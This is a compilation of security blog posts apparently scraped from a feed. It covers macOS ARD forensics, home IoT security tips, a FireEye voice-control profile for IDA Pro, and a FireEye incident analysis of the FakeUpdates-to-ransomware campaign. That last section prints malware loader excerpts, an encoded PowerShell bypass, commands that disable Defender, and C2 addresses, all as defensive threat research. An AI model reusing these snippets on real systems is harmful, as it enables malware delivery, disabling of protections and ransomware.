Application usage artifacts for macOS are few and far between. To date, some of the best artifacts for application usage include CoreAnalytics files and the Spotlight database, but none of these artifacts provide the exact time of execution of all applications. While ARD artifacts are not present across every macOS system, if ARD is deployed in an enterprise environment it may provide some of the most valuable data for investigators which you would not uncover otherwise.

User login activity typically exists in the Apple System Logs and Audit Logs, but short log retention is frequently an issue when the average attacker dwell time in 2018 was 78 days. The RMDB provides a potential source of application usage and user login information that is over a year old, long outliving typical log retention times.

The system information available in the RMDB includes IP addresses, USB device information, and more which may be useful to investigators. Also, the file system cache files that are collected contain an extensive file listing of multiple macOS systems, which allows investigators to identify files or users of interest on other systems without having to collect data from the suspect system directly.

ARD is an excellent example of how remote administration tools provide an attack surface for abuse while simultaneously providing a vast amount of data to help piece together malicious activity, all from a single system. If your organization utilizes ARD, consider reviewing the information available through the reporting functionality during threat hunting and future investigative purposes, as the artifact doesn’t fall far from the tree.

Best Practices for Keeping Tabs on Your Apps

Let’s start this conversation out with the definition of device. The list of what constitutes one is growing. For now, let’s say that you have a home computer (desktop, laptop, or both), work computer (desktop, laptop, or both), home tablet, work tablet, personal smartphone, and work smartphone. This is a pretty extensive list of devices that an adversary could use to attack you professionally and personally. But what about your Amazon Alexa or gadgets, smart toys, and smart clocks? What about Google Assistant or Microsoft Cortana? Do you also have a SmartTV? What about NEST, Wink, WeMo, SensorPush, Neurio, ecobee4, Philips Hue, Smart Lock, GarageMate? Hoo boy! The list of connected devices goes on and on.

Are all of these devices safe to use? Well, the simple answer is no—unless you specifically paid attention to its security. Also, for your smart devices that work via voice control, do you know who might be listening on the other end? To make things worse, many of these devices are also used in the corporate world, because they are easy to deploy, and are very affordable.

What about applications? Did the developer that created the application you are using ensure they used good secure coding techniques? Or is there a likelihood they introduced a flaw in their code? Are the servers for the application you are running in the cloud secure? Is the data you are storing on these cloud systems protected from unauthorized access?

All really good questions we rarely ask ourselves—at least before we use the latest and coolest applications available. We all make risk-based decisions every day, but do we ever ensure we have all the data before we make that risk-based decision?

What Can You Do?

Start by doing whatever homework and research you can. Make sure you understand the social engineering methods that the malicious actors are currently using. Unsolicited phone calls from a government agency (like the IRS), a public utility, or even Microsoft or Apple are not legitimate. No you don’t owe back taxes, no your computer has not been hacked, no you don’t need to give out sensitive personal information to your power company over the phone.

How Can You Choose Safe Applications?

Simply Google “Is this <name of application> secure?” Never install an application that you don’t feel you can trust. Using an application is all about risk management. Make sure you understand the potential risk to device and data compromise, prior to choosing to use it.

How Can You Better Secure Your Home Network?

  1. Upon installation of any device, immediately change the login and password. These are often stored in the configuration files that come with the product, therefore are easy to look up.
  2. Change the login and password on your home Wi-Fi router frequently.
  3. Ensure the software for anything that connects is up to date.
  4. Make sure you have a clear sense of where your sensitive data is stored—and how it is protected. Is it adequately protected—or, better yet, encrypted?
  5. When in doubt, don’t connect an IoT device to the Internet.

Lastly, look at some solutions that can be added to your home Wi-Fi network, that provide additional layers of protection and detection against IoT and other advanced attacks. F-Secure Sense Gadget is one such solution, as is Luma smart Wi-Fi router, Dojo, and CUJO. Dojo, for example, monitors all incoming and outgoing traffic and performs analysis looking for malicious traffic. With known weaknesses in IoT and home networks in general, solutions like the above are a good investment.

Don’t Give Hackers Easy Access

Not long ago, a casino in the Northeast had a fish tank in their lobby. To make management of the fish tank easier, they installed an IoT-enabled thermostatic control to set and monitor water temperature in the tank. The thermostatic control was connected to their internal network, as well as IoT-enabled to allow easy access from anywhere on the Internet. The device was breached from the Internet by malicious actors, and the internal network was penetrated, allowing the hackers to steal information from a high-roller database before devices monitoring the network were able to identify the unauthorized data leaving the network and shut it down. A classic case of what can happen without the right due diligence.

Try and follow this motto. Just because you can, does not mean you should. The latest shiny IT gadget that will make you seem cool, or potentially make some portion of your life easier to manage, should be evaluated thoroughly for security weaknesses, before you turn it on and open it up to the world. Make that good risk-based decision. Not many of us would consider doing this: “Hey Alexa, open up my desktop computer so that all my sensitive data is opened for all the world to see.” Or would we?

The post Best Practices for Keeping Tabs on Your Apps appeared first on Connected.

IDA, I Think It’s Time You And I Had a Talk: Controlling IDA Pro With Voice Control Software


This blog post is the next episode in the FireEye Labs Advanced Reverse Engineering (FLARE) team Script Series. Today, we are sharing something quite unusual. It is not a tool or a virtual machine distribution, nor is it a plugin or script for a popular reverse engineering tool or framework. Rather, it is a profile created for a consumer software application completely unrelated to reverse engineering or malware analysis… until now. The software is named VoiceAttack, and its purpose is to make it easy for users to control other software on their computer using voice commands. With FLARE’s new profile for VoiceAttack, users can completely control IDA Pro with their voice! Have you ever dreamed of telling IDA Pro to decompile a function or show you the strings of a binary? Well dream no more! Not only does our profile give you total control of the software, it also provides shortcuts and other cool features not previously available. It’s our hope that providing voice control for the world’s most popular disassembler will further empower users with repetitive stress injuries or disabilities to more effectively put their reverse engineering skills to use with this new accessibility option as well as helping the community at large work more efficiently.

Check out our video demonstration of some of the features of the profile to see it in action.

How Does It Work?

Voice attack is an inexpensive software application that utilizes the Windows Speech Recognition (WSR) feature to enable the creation of user-defined, voice-activated macros. The user specifies a key word or phrase, then defines one or more actions to be taken when that word or phrase is recognized. The most common types of actions to be taken include key presses, mouse movement and clicks, and clipboard manipulation. However, there are many other more advanced features available that provide a lot of flexibility to users including variables, loops, and conditionals. You can even have the computer speak to you in response to your commands! VoiceAttack requires an internet connection, but only during the registration process, after which the network adapter can be disabled or configured to a network that cannot reach the internet without issue.

To use VoiceAttack, you must first train Windows Speech Recognition to recognize your voice. Instructions on how to do so can be found here. This process only takes a few minutes at minimum, but the more time you spend training, the better the experience you will have with it.

What Does the IDA Pro Profile Provide?

FLARE’s IDA Pro profile for VoiceAttack maps every advertised keyboard shortcut in IDA Pro to a voice command. Although this is only one part of what the profile provides, many users will find this in itself very useful. When developing this profile, I was shocked to discover just how many keyboard shortcuts there really are for IDA Pro and what can be accomplished with them. Some of my favorite shortcuts are found under the View->Open Subviews and Windows menus. With this profile, I can simply say “show strings” or “show structures” or “show window x” to change the tab I am currently viewing or open a new view in a tab without having to move my mouse cursor anywhere. The next few paragraphs describe some other useful commands to make any reverse engineer’s job easier. For a more detailed description of the profile and commands available, see the Github page.


A series of voice commands can perform multi-step actions not otherwise reachable by individual keyboard shortcuts. For example, wouldn’t it be nice to have commands to toggle the visibility of opcode bytes (see Figure 1)? Currently, you have to open the Options menu, select the General menu item, input a value in the Number of opcode bytes text field, and click the OK button. Well, now you can simply say “show opcodes” or “hide opcodes” and it will be so!

Figure 1: Configuring the number of opcode bytes to show in IDA Pro's disassembly view

Defining a Unicode string in IDA Pro is a multi-step exercise, whether you navigate to the Edit->Strings menu or use the “string literals” keyboard shortcut Alt+A followed by pressing the U key as shown in Figure 2. Now you can simply say “make Unicode string” and the work is done for you.

Figure 2: String literals dialog in IDA Pro

Reversing a C++ application? The Create struct from selection action is a very helpful feature in this case, but it requires you to navigate to the Edit->Structs menu in order to use it. The voice command “create struct from selection” does this for you automatically. The “look it up” command will copy the currently highlighted token in the disassembly and search Google for it using your default browser. There are several other macros in the profile that are like this and save you a lot of time navigating menus and dialogs to perform simple actions.

Cursor Movement, Dialogs, and Navigation

The cursor movement commands allow the user to move the cursor up, down, left, or right, one or more times, in specified increments. These commands also allow for scrolling with a voice command that commences scrolling in a chosen direction, and another voice command for stopping scrolling. There are even voice commands to set the speed of the scroll to slow, medium, or fast. In the disassembly view, the cursor can also be moved per “word” on the current line of the disassembly or decompilation, or even per basic block or function.

Like many other applications, dialogs are a part of IDA Pro’s user interface. The ability to easily navigate and interact with items in a dialog with your voice is essential to a smooth user experience. Voice commands in the profile enable the user to easily click the OK or Cancel buttons, toggle checkboxes, and tab through controls in the dialog in both directions and in specified increments.

With the aid of a companion IDAPython plugin, additional navigation commands are supported. Commands that allow the user to move the cursor to the beginning or end of the current function, to the next or previous “call” instruction, to the previous or next instruction containing the highlighted token, or to a specified number of bytes forward or backwards from the current cursor position help to make voice-controlled navigation easier.

These cursor movement and navigation commands enable users to have full control of IDA Pro without the use of their hands. While this is true and an important goal for the profile, it is not practical for people who have full use of their hands to go completely hands-free. The commands that navigate the cursor in IDA Pro will never be as fast or easy as simply using the mouse to point and click somewhere on the screen. In any case, users will find themselves building up a collection of voice commands they prefer to use that will depend on personal tastes. However, enabling full voice control allows reverse engineers who do not have full use of their hands to still effectively operate IDA Pro, which we hope will be of great use to the community. Having such a capability is also useful for those who suffer from repetitive strain injury.

Input Recognition

The commands described so far give you control over IDA Pro with your voice, but there is still the matter of providing textual input for items such as function and variable names, comments, and other text input fields. VoiceAttack does provide the ability in macros to enable and disable what is called “Dictation Mode”. When in Dictation Mode, any recognized words are added to a buffer of text until Dictation Mode is disabled. Then this text can be used elsewhere in the macro. Unfortunately, this feature is not designed to recognize the kinds of technical terms one would be using in the context of reverse engineering programs. Even if it were, there is still the issue of having to format the text to be a valid function or variable name. Instead of wrestling with this feature to try to make it work for this purpose, a very large and growing collection of “input recognition” commands was created. These commands are designed to recognize common words used in the names of functions and variables, as well as full function names as found in the C runtime libraries and the Windows APIs. Once recognized, the word or function name is copied to the user’s clipboard and pasted into the text field. To avoid the inadvertent triggering of such commands during the regular operation of IDA Pro, these commands are only active when the “input mode” is enabled. This mode is enabled automatically when certain commands are activated such as “rename” or “find”, and automatically disabled when dialog commands such as “OK” or “cancel” are activated. The input mode can also be manually manipulated with the “input mode on” and “input mode off” commands.


Today, the FLARE team is releasing a profile for VoiceAttack and a companion IDAPython plugin that enables full voice control of IDA Pro along with many added convenience features. The profile contains over 1000 defined commands and growing. It is easy to view, edit, and add commands to this profile to customize it to suit your needs or to improve it for the community at large. The VoiceAttack software is highly affordable and enables you to create profiles for any applications or games that you use. For installation instructions and usage information, see the project’s Github page. Give it a try today!

Head Fake: Tackling Disruptive Ransomware Attacks

Within the past several months, FireEye has observed financially-motivated threat actors employ tactics that focus on disrupting business processes by deploying ransomware in mass throughout a victim’s environment. Understanding that normal business processes are critical to organizational success, these ransomware campaigns have been accompanied with multi-million dollar ransom amounts. In this post, we’ll provide a technical examination of one recent campaign that stems back to a technique that we initially reported on in April 2018.

Between May and September 2019, FireEye responded to multiple incidents involving a financially-motivated threat actor who leveraged compromised web infrastructure to establish an initial foothold in victim environments. This activity bared consistencies with a fake browser update campaign first identified in April 2018 – now tracked by FireEye as FakeUpdates. In this newer campaign, the threat actors leveraged victim systems to deploy malware such as Dridex or NetSupport, and multiple post-exploitation frameworks. The threat actors’ ultimate goal in some cases was to ransom systems in mass with BitPaymer or DoppelPaymer ransomware (see Figure 1).

Figure 1: Recent FakeUpdates infection chain

Due to campaign proliferation, we have responded to this activity at both Managed Defense customers and incident response investigations performed by Mandiant. Through Managed Defense network and host monitoring as well as Mandiant’s incident response findings, we observed the routes the threat actor took, the extent of the breaches, and exposure of their various toolkits.

Knock, Knock: FakeUpdates are Back!

In April 2018, FireEye identified a campaign that used compromised websites to deliver heavily obfuscated Trojan droppers masquerading as Chrome, Internet Explorer, Opera, and/or Firefox browser updates. The compromised sites contained code injected directly into the HTML or in JavaScript components rendered by the pages which had been injected. These sites were accessed by victim users either via HTTP redirects or watering-hole techniques utilized by the attackers.

Since our April 2018 blog post, this campaign has been refined to include new techniques and the use of post-exploitation toolkits. Recent investigations have shown threat actor activity that included internal reconnaissance, credential harvesting, privilege escalation, lateral movement, and ransomware deployment in enterprise networks. FireEye has identified that a large number of the compromised sites serving up the first stage of FakeUpdates have been older, vulnerable Content Management System (CMS) applications.

You Are Using an Older Version…of our Malware

The FakeUpdates campaign begins with a rather intricate sequence of browser validation, performed before the final payload is downloaded. Injected code on the initial compromised page will make the user’s browser transparently navigate to a malicious website using hard-coded parameters. After victim browser information is gleaned, additional redirects are performed and the user is prompted to download a fake browser update. FireEye has observed that the browser validation sequence may have additional protections to evade sandbox detections and post-incident triage attempts on the compromise site(s).

Figure 2: Example of FakeUpdate landing page after HTTP redirects

The redirect process used numerous subdomains, with a limited number of IP addresses. The malicious subdomains are often changed in different parts of the initial redirects and browser validation stages.

After clicking the ‘Update’ button, we observed the downloading of one of three types of files:

  • Heavily-obfuscated HTML applications (.hta file extensions)
  • JavaScript files (.js file extensions)
  • ZIP-compressed JavaScript files (.zip extensions)

Figure 3 provides a snippet of JavaScript that provides the initial download functionality.

var domain = '//gnf6.ruscacademy[.]in/';
var statisticsRequest = 'wordpress/news.php?b=612626&m=ad2219689502f09c225b3ca0bfd8e333&y=206';
var statTypeParamName = 'st';

var filename = 'download.hta';
var browser = 'Chrome';
var special = '1';   
var filePlain = window.atob(file64);
var a = document.getElementById('buttonDownload');

Figure 3: Excerpts of JavaScript code identified from the FakeUpdates landing pages

When the user opens the initial FakeUpdates downloader, the Windows Scripting Host (wscript.exe) is executed and the following actions are performed:

  1. A script is executed in memory and used to fingerprint the affected system.
  2. A subsequent backdoor or banking trojan is downloaded if the system is successfully fingerprinted.
  3. A script is executed in memory which:
    • Downloads and launches a third party screenshot utility.
    • Sends the captured screenshots to an attacker.
  4. The payload delivered in step 2 is subsequently executed by the script process.

The backdoor and banking-trojan payloads described above have been identified as Dridex, NetSupport Manager RAT, AZOrult, and Chthonic malware. The strategy behind the selective payload delivery is unclear; however, the most prevalent malware delivered during this phase of the infection chain were variants of the Dridex backdoor.

FakeUpdates: More like FakeHTTP

After the end user executes the FakeUpdates download, the victim system will send a custom HTTP POST request to a hard-coded Command and Control (C2) server. The POST request, depicted in Figure 4, showed that the threat actors used a custom HTTP request for initial callback. The Age HTTP header, for example, was set to a string of 16 seemingly-random lowercase hexadecimal characters.

Figure 4: Initial HTTP communication after successful execution of the FakeUpdates dropper

The HTTP Age header typically represents the time in seconds since an object has been cached by a proxy. In this case, via analysis of the obfuscated code on disk, FireEye identified that the Age header correlates to a scripted “auth header” parameter; likely used by the C2 server to validate the request. The first HTTP POST request also contains an XOR-encoded HTTP payload variable “a=”.

The C2 server responds to the initial HTTP request with encoded JavaScript. When the code is decoded and subsequently executed, system and user information is collected using wscript.exe. The information collected from the victim system included:

  • The malicious script that initialized the callback
  • System hostname
  • Current user account
  • Active Directory domain
  • Hardware details, such as manufacturer
  • Anti-virus software details
  • Running processes

This activity is nearly identical to the steps observed in our April 2018 post, indicating only minor changes in data collection during this stage. For example, in the earlier iteration of this campaign, we did not observe the collection of the script responsible for the C2 communication. Following the system information gathering, the data is subsequently XOR-encoded and sent via another custom HTTP POST request request to the same C2 server, with the data included in the parameter “b=”. Figure 5 provides a snippet of sample of the second HTTP request.

Figure 5: Second HTTP POST request after successful system information gathering

Figure 6 provides a copy of the decoded content, showing the various data points the malware transmitted back to the C2 server.

9=HP EliteDesk
11=Windows Defender|Vendor Anti-Virus
12=Vendor Anti-Virus|Windows Defender|
14=Enhanced (101- or 102-key)
15=USB Input Device
17=System Idle Process|System|smss.exe|csrss.exe|wininit.exe|csrss.exe| winlogon.exe|services.exe|lsass.exe|svchost.exe|svchost.exe|svchost.exe|svchost.exe|svchost.exe|

Figure 6: Decoded system information gathered by the FakeUpdates malware

After receiving the system information, the C2 server responds with an encoded payload delivered via chunked transfer-encoding to the infected system. This technique evades conventional IDS/IPS appliances, allowing for the second-stage payload to successfully download. During our investigations and FireEye Intelligence’s monitoring, we recovered encoded payloads that delivered one of the following:

  • Dridex (Figure 7)
  • NetSupport Manage Remote Access Tools (RATs) (Figure 8)
  • Chthonic or AZORult (Figure 9)
    function runFile() {
        var lastException = '';
        try {
            var wsh = new ActiveXObject("WScript.Shell");
            wsh.Run('cmd /C rename "' + _tempFilePathSave + '" "' + execFileName + '"');
            WScript.Sleep(3 * 1000);
            runFileResult = wsh.Run('"' + _tempFilePathExec + '"');
            lastException = '';
        } catch (error) {
            lastException = error.number;
            runFileExeption += 'error number:' + error.number + ' message:' + error.message;

Figure 7: Code excerpt observed in FakeUpdates used to launch Dridex payloads

    function runFile() {
        var lastException = '';
        try {
            var wsh = new ActiveXObject("WScript.Shell");
            runFileResult = wsh.Run('"' + _tempFilePathExec + '" /verysilent');
            lastException = '';
        } catch (error) {
            lastException = error.number;
            runFileExeption += 'error number:' + error.number + ' message:' + error.message;

Figure 8: Code excerpt observed in FakeUpdates used to launch NetSupport payloads

    function runFile() {
        var lastException = '';
        try {
            var wsh = new ActiveXObject("WScript.Shell");
            runFileResult = wsh.Run('"' + _tempFilePathExec + '"');
            lastException = '';
        } catch (error) {
            lastException = error.number;
            runFileExeption += 'error number:' + error.number + ' message:' + error.message;

Figure 9: Code excerpt observed in FakeUpdates used to launch Chthonic and AZORult payloads

During this process, the victim system downloads and executes nircmdc.exe, a utility specifically used during the infection process to save two system screenshots. Figure 10 provides an example command used to capture the desktop screenshots.

"C:\Users\User\AppData\Local\Temp\nircmdc.exe" savescreenshot "C:\Users\User\AppData\Local\Temp\6206a2e3dc14a3d91.png"

Figure 10: Sample command used to executed the Nircmd tool to take desktop screenshots

The PNG screenshots of the infected systems are then transferred to the C2 server, after which they are deleted from the system. Figure 11 provides an example of a HTTP POST request, again with the custom Age and User-Agent headers.

Figure 11: Screenshots of the infected system are sent to an attacker-controlled C2

Interestingly, the screenshot file transfers were neither encoded nor obfuscated, as with other data elements transferred by the FakeUpdates malware. As soon as the screenshots are transferred, nircmdc.exe is deleted.

All Hands on Deck

In certain investigations, the incident was far from over. Following the distribution of Dridex v4 binaries (botnet IDs 199 and 501), new tools and frameworks began to appear. FireEye identified the threat actors leveraged their Dridex backdoor(s) to execute the publicly-available PowerShell Empire and/or Koadic post-exploitation frameworks. Managed Defense also identified the FakeUpdates to Dridex infection chain resulting in the download and execution of PoshC2, another publicly available tool. While it could be coincidental, it is worth noting that the use of PoshC2 was first observed in early September 2019 following the announcement that Empire would no longer be maintained and could represent a shift in attacker TTPs. These additional tools were often executed between 30 minutes and 2 hours after initial Dridex download. The pace of the initial phases of related attacks possibly suggests that automated post-compromise techniques are used in part before interactive operator activity occurs.

We identified extensive usage of Empire and C2 communication to various servers during these investigations. For example, via process tracking, we identified a Dridex-injected explorer.exe executing malicious PowerShell: a clear sign of an Empire stager:

Figure 12: An example of PowerShell Empire stager execution revealed during forensic analysis

In the above example, the threat actors instructed the victim system to use the remote server 185.122.59[.]78 for command-and-control using an out-of-the-box Empire agent C2 configuration for TLS-encrypted backdoor communications.

During their hands-on post-exploitation activity, the threat actors also moved laterally via PowerShell remoting and RDP sessions. FireEye identified the use of WMI to create remote PowerShell processes, subsequently used to execute Empire stagers on domain-joined systems. In one specific case, the time delta between initial Empire backdoor and successful lateral movement was under 15 minutes. Another primary goal for the threat actor was internal reconnaissance of both the local system and domain the computer was joined to. Figure 13 provides a snippet of Active Directory reconnaissance commands issued by the attacker during one of our investigations.

Figure 13: Attacker executed commands

The threat actors used an Empire module named SessionGopher and the venerable Mimikatz to harvest endpoint session and credential information. Finally, we also identified the attackers utilized Empire’s Invoke-EventVwrBypass, a Windows bypass technique used to launch executables using eventvwr.exe, as shown in Figure 14.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -c $x=$((gp HKCU:Software\Microsoft\Windows Update).Update); powershell -NoP -NonI -W Hidden -enc $x

Figure 14: PowerShell event viewer bypass

Ransomware Attacks & Operator Tactics

Within these investigations, FireEye identified the deployment BitPaymer or DoppelPaymer ransomware. While these ransomware variants are highly similar, DoppelPaymer uses additional obfuscation techniques. It also has enhanced capabilities, including an updated network discovery mechanism and the requirement of specific command-line execution. DoppelPaymer also uses a different encryption and padding scheme.

The ransomware and additional reconnaissance tools were downloaded through public sharing website repositories such as DropMeFiles and SendSpace. Irrespective of the ransomware deployed, the attacker used the SysInternals utlity PSEXEC to distribute and execute the ransomware.  

Notably, in the DoppelPaymer incident, FireEye identified that Dridex v2 with the Botnet ID 12333 was downloaded onto the same system previously impacted by an instance of Dridex v4 with Botnet ID 501. Within days, this secondary Dridex instance was then used to enable the distribution of DoppelPaymer ransomware.  Prior to DoppelPaymer, the threat actor deleted volume shadow copies and disabled anti-virus and anti-malware protections on select systems. Event log artifacts revealed commands executed through PowerShell which were used to achieve this step (Figure 15):

Event Log





 HostApplication=powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true



 HostApplication=powershell.exe Uninstall-WindowsFeature -Name Windows-Defender



Windows Installer removed the product. Product Name: McAfee Agent-++-5.06.0011-++-1033-++-1603-++-McAfee, Inc.-++-(NULL)-++--++-. Product Version: 82.

Figure 15: Event log entries related to the uninstallation of AV agents and disablement of real-time monitoring

The DoppelPaymer ransomware was found in an Alternate Data Stream (ADS) in randomly named files on disk. ADSs are attributes within NTFS that allow for a file to have multiple data streams, with only the primary being visible in tools such as Windows Explorer. After ransomware execution, files are indicated as encrypted by being renamed with a “.locked” file extension. In addition to each “.locked” file, there is a ransom note with the file name “readme2unlock.txt” which provides instructions on how to decrypt files.

Figure 16: DoppelPaymer ransomware note observed observed during a Mandiant Incident Response investigation

Ransomware? Not In My House!

Over the past few years, we have seen ransomware graduate from a nuisance malware to one being used to extort victim networks out of significant sums of money. Furthermore, threat actors are now coupling ransomware with multiple toolkits or other malware families to gain stronger footholds into an environment. In this blog post alone, we witnessed a threat actor move through multiple toolsets - some automated, some manual - with the ultimate goal of holding the victim organization hostage.

Ransomware also raises the stakes for unprepared organizations as it levels the playing field for all areas of your enterprise. Ransomware proves that threat actors don’t need to get access to the most sensitive parts of your organization – they need to get access to the ones that will disrupt business processes. This widens your attack surface, but luckily, also gives you more opportunity for detection and response. Mandiant recently published an in depth white paper on Ransomware Protection and Containment Strategies, which may help organizations mitigate the risk of ransomware events.


The following indicator set is a collective representation of artifacts identified during investigations into multiple customer compromises.



FakeUpdates Files








FakeUpdates Domains & IP Addresses
















Empire C2



Detecting the Techniques

FireEye detects this activity across our platforms, including named detections for Dridex, Empire, BitPaymer and DoppelPaymer Ransomware. As a result of these investigations, FireEye additionally deployed new indicators and signatures to Endpoint and Network Security appliances.  This table contains several specific detection names from a larger list of detections that were available prior to this activity occurring.


Signature Name


Endpoint Security


HX Exploit Detection

Network Security


MITRE ATT&CK Technique Mapping



Initial Access

Drive-by Compromise (T1189), Exploit Public-Facing Application (T1190)


PowerShell (T1086), Scripting (T1064), User Execution (T1204), Windows Management Instrumentation (T1047)


DLL Search Order Hijacking (T1038)

Privilege Escalation

Bypass User Account Control (T1088), DLL Search Order Hijacking (T1038)

Defense Evasion

Bypass User Account Control (T1088), Disabling Security Tools (T1089), DLL Search Order Hijacking (T1038), File Deletion (T1107), Masquerading (T1036), NTFS File Attributes (T1096), Obfuscated Files or Information (T1027), Scripting (T1064), Virtualization/Sandbox Evasion (T1497)

Credential Access

Credential Dumping (T1003)


Account Discovery (T1087), Domain Trust Discovery (T1482), File and Directory Discovery (T1083), Network Share Discovery (T1135), Process Discovery (T1057), Remote System Discovery (T1018), Security Software Discovery (T1063), System Information Discovery (T1082), System Network Configuration Discovery (T1016), Virtualization/Sandbox Evasion (T1497)

Lateral Movement

Remote Desktop Protocol (T1076),  Remote File Copy (T1105)


Data from Local System (T1005), Screen Capture (T1113)

Command And Control

Commonly Used Port (T1436), Custom Command and Control Protocol (T1094) ,Data Encoding (T1132), Data Obfuscation (T1001), Remote Access Tools (T1219), Remote File Copy (T1105), Standard Application Layer Protocol (T1071)


Automated Exfiltration (T1020), Exfiltration Over Command and Control Channel (T1041)


Data Encrypted for Impact (T1486), Inhibit System Recovery (T1490), Service Stop (T1489)


A huge thanks to James Wyke and Jeremy Kennelly for their analysis of this activity and support of this post.